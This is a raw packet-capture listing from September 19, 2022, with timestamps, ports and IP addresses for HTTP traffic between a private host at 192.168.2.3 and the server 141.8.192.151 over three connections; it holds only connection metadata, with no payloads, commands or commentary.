Sep 19, 2022 22:37:47.084315062 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084316969 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084333897 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084356070 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084372997 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084386110 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084407091 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084474087 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084594011 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084613085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084629059 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084646940 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084665060 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084680080 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084681988 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084738970 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084747076 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084765911 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084784985 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084794998 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084803104 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084820986 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084841013 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084856987 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084870100 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084949017 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.124265909 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143527985 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143556118 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143604994 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143624067 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143639088 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143656969 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143675089 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143692970 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143712997 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143729925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143733025 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143748999 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143764973 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143779039 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143788099 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143795967 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143810034 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143822908 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143829107 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143840075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143858910 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143872976 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143877029 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143892050 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143896103 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143912077 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143914938 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143933058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143946886 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.143953085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143969059 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.143970966 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.144001007 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.144023895 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.144035101 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.144085884 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.144121885 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.144186020 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.144978046 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145004988 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145021915 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145039082 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145056009 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145056963 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145072937 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145117044 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145152092 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145198107 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145215988 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145234108 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145251989 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145270109 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145395041 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145406961 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145415068 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145432949 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145450115 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145467997 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145509958 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145529985 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145548105 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145602942 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145675898 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145714998 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145725012 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145733118 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145761013 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145781994 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145803928 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145827055 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145860910 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.145873070 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.145905972 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.185014963 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.185095072 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204627037 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204683065 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204698086 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204721928 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204732895 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204756975 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204761982 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204787970 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204806089 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204819918 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204838037 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204850912 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204864979 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204885006 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204900980 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204919100 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204932928 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204952002 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.204971075 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.204986095 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205012083 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205020905 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205040932 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205054045 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205061913 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205087900 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205101013 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205120087 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205135107 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205153942 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205169916 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205187082 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205203056 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205219030 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205240965 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205250978 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205267906 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205281019 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205302000 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205311060 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205326080 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205342054 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205359936 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205374002 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205390930 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205419064 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205565929 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205600023 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205610991 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205631971 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205646038 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205663919 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205678940 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205708981 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205739021 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205765009 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.205780983 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.205806971 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.215926886 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.950035095 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.414531946 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.476166964 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.476339102 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.485990047 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.547646999 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550436974 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550472021 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550497055 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550515890 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550534964 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550553083 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550570965 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550587893 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550602913 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550620079 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.550720930 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.612313986 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612343073 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612360954 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612379074 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612396955 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612412930 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612430096 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612447023 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612464905 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612481117 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612498999 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612540007 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612556934 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612574100 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612591982 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612611055 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612643957 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612662077 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612696886 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.612740040 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.614411116 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.647388935 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.647434950 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.649761915 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676084042 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676131010 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676158905 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676179886 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676187038 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676213980 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676214933 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676220894 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676224947 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676240921 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676254988 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676269054 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676276922 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676295996 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676331043 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676333904 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676362991 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676371098 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676388979 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676415920 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676430941 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676439047 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676443100 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676444054 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676470041 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676497936 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676498890 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676506042 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676525116 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676526070 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676553965 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676563025 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676580906 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676585913 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676608086 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676621914 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676635981 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676641941 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676666021 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676714897 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676743984 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676749945 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676772118 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676772118 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676799059 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676800013 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676831007 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676867008 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676893950 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676896095 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676920891 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676923037 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676949024 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.676950932 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676976919 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.676995993 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677028894 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677046061 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677073002 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677078962 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677104950 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677113056 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677145004 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677174091 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677201033 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677215099 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677227974 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677278996 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677284956 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677290916 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677325964 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677356005 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677390099 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677402973 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677431107 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677443027 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677459002 CEST	80	49708	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.677470922 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.677520990 CEST	49708	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.710047960 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.710201979 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.712824106 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.773106098 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775342941 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775398970 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775419950 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775441885 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775454044 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.775464058 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775486946 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775494099 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.775511026 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775518894 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.775533915 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775548935 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.775554895 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775576115 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.775583029 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.775616884 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.835830927 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835865974 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835889101 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835911036 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835933924 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835942984 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.835956097 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.835975885 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.835997105 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836019039 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836030960 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836044073 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836076021 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836078882 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836102009 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836143970 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836153030 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836169958 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836191893 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836193085 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836215973 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836220980 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836244106 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836257935 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836330891 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836354017 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836375952 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836375952 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836388111 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836405993 CEST	80	49709	141.8.192.151	192.168.2.3
Sep 19, 2022 22:38:00.836419106 CEST	49709	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:38:00.836431026 CEST	80	49709	141.8.192.151	192.168.2.3
